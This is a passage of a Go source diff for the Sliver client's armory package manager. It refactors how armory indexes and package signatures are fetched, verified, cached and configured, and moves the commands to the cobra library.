||||
}
|
||||
deleted = true
|
||||
}
|
||||
}
|
||||
|
||||
if deleted {
|
||||
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
|
||||
if name == assets.DefaultArmoryName {
|
||||
defaultArmoryRemoved = true
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("Armory %s is not a configured armory\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
err := assets.SaveArmoriesConfig(newConfiguration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func SaveArmories(con *console.SliverClient) {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err := assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Successfully saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
var armoryPublicKey string
|
||||
armoryConfig := assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name == name {
|
||||
armoryPublicKey = armory.PublicKey
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if armoryPublicKey == "" {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
|
||||
value, ok := currentArmories.Load(armoryPublicKey)
|
||||
if !ok {
|
||||
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
|
||||
}
|
||||
armoryConfig = value.(assets.ArmoryConfig)
|
||||
return armoryConfig, nil
|
||||
}
|
||||
|
||||
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
|
||||
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
} else {
|
||||
con.PrintErrorf("an armory name is required")
|
||||
return
|
||||
}
|
||||
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
armoryPublicKey := armoryConfig.PublicKey
|
||||
armoryConfig.Enabled = enabled
|
||||
currentArmories.Store(armoryPublicKey, armoryConfig)
|
||||
|
||||
if !enabled {
|
||||
// Remove cached info for the armory if it is disabled
|
||||
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
indexCache.Delete(armoryPublicKey)
|
||||
}
|
||||
// Force a refresh
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
SaveArmories(con)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Quick check to make sure we were provided with a name
|
||||
var name string
|
||||
if len(args) > 0 && args[0] != "" {
|
||||
name = args[0]
|
||||
}
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get the record for the armory
|
||||
armoryConfig, err := getArmoryConfig(name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Save the old config so we can delete the existing config
|
||||
// and revert if needed
|
||||
previousConfig := assets.ArmoryConfig{
|
||||
PublicKey: armoryConfig.PublicKey,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
Authorization: armoryConfig.Authorization,
|
||||
AuthorizationCmd: armoryConfig.AuthorizationCmd,
|
||||
Name: armoryConfig.Name,
|
||||
Enabled: armoryConfig.Enabled,
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("name") {
|
||||
newName, _ := cmd.Flags().GetString("name")
|
||||
// Make sure the name does not already exist
|
||||
if armoryNameExists(newName) {
|
||||
con.PrintErrorf("armory with name %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
armoryConfig.Name = newName
|
||||
}
|
||||
if cmd.Flags().Changed("pubkey") {
|
||||
newPubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
/*
|
||||
Since public keys are used as the key for the index cache,
|
||||
make sure we have not been given a key that already exists
|
||||
*/
|
||||
if armoryKeyExists(newPubKey) {
|
||||
con.PrintErrorf("armory provided public key already exists\n")
|
||||
return
|
||||
}
|
||||
armoryConfig.PublicKey = newPubKey
|
||||
}
|
||||
if cmd.Flags().Changed("url") {
|
||||
newUrl, _ := cmd.Flags().GetString("url")
|
||||
armoryConfig.RepoURL = newUrl
|
||||
}
|
||||
if cmd.Flags().Changed("auth") {
|
||||
newAuth, _ := cmd.Flags().GetString("auth")
|
||||
armoryConfig.Authorization = newAuth
|
||||
}
|
||||
if cmd.Flags().Changed("authcmd") {
|
||||
newAuthCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
armoryConfig.AuthorizationCmd = newAuthCmd
|
||||
}
|
||||
|
||||
// We will remove the old armory and add a new one with the changed properties to force a refresh
|
||||
currentArmories.Delete(previousConfig.PublicKey)
|
||||
indexCache.Delete(previousConfig.PublicKey)
|
||||
armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
err = verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not modify armory: %s\n", err)
|
||||
confirm := false
|
||||
_ = forms.Confirm("Would you like to revert the properties of the armory back to their previous values?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
} else {
|
||||
err = verifyArmory(&previousConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
|
||||
return
|
||||
}
|
||||
armoryConfig = previousConfig
|
||||
con.PrintSuccessf("Re-added armory with previous values")
|
||||
}
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !cmd.Flags().Changed("no-save") {
|
||||
SaveArmories(con)
|
||||
}
|
||||
// Force a refresh
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
// Since this being called from the refresh command, force the refresh
|
||||
clientConfig.IgnoreCache = true
|
||||
clearAllCaches()
|
||||
armoriesInitialized = false
|
||||
con.PrintInfof("Refreshing armory information...")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Refreshed armory information\n")
|
||||
}
|
||||
|
||||
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
|
||||
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
|
||||
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
|
||||
err := os.Remove(armoryConfigPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
|
||||
return
|
||||
}
|
||||
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
|
||||
|
||||
// Force a refresh
|
||||
RefreshArmories(cmd, con)
|
||||
con.PrintSuccessf("Successfully reset armory configuration\n")
|
||||
}
|
||||
+143
-122
@@ -19,12 +19,14 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -33,14 +35,14 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
@@ -67,6 +69,18 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
func calculatePackageHash(pkg *ArmoryPackage) string {
|
||||
if pkg == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
hasher := sha256.New()
|
||||
// Hash some of the things that make the package unique
|
||||
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
|
||||
hasher.Write(packageIdentifier)
|
||||
return fmt.Sprintf("%x", hasher.Sum(nil))
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
@@ -79,25 +93,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -125,17 +121,52 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
func decodePackageSignature(sigString string) ([]byte, error) {
|
||||
// Base64 decode the signature
|
||||
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
|
||||
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
|
||||
decodedData = bytes.Trim(decodedData, "\x00")
|
||||
return decodedData, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -144,61 +175,39 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req := &http.Request{
|
||||
Method: http.MethodGet,
|
||||
URL: repoURL,
|
||||
Header: map[string][]string{},
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
decodedSig, err := decodePackageSignature(pkgResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig(decodedSig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
tarGzURL, err := url.Parse(pkgResp.TarGzURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
@@ -239,13 +248,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -253,7 +256,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -270,23 +273,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -299,29 +292,39 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -329,7 +332,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -343,14 +346,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -360,13 +356,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -380,31 +370,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
|
||||
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
|
||||
noAuth := &assets.ArmoryConfig{
|
||||
Authorization: "",
|
||||
}
|
||||
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
@@ -417,18 +403,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
@@ -498,3 +476,46 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
|
||||
client := httpClient(clientConfig)
|
||||
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if len(extraHeaders) > 0 {
|
||||
for key := range extraHeaders {
|
||||
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
|
||||
}
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
return resp, body, err
|
||||
}
|
||||
|
||||
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
|
||||
downloadHdr := http.Header{
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp == nil {
|
||||
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
return body, err
|
||||
}
|
||||
@@ -21,19 +21,22 @@ package armory
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
|
||||
rawNameExpr := args[0]
|
||||
// rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
@@ -44,7 +47,7 @@ func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
@@ -52,9 +55,11 @@ func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
for _, extm := range exts {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, extm)
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
|
||||
+265
-42
@@ -19,57 +19,131 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
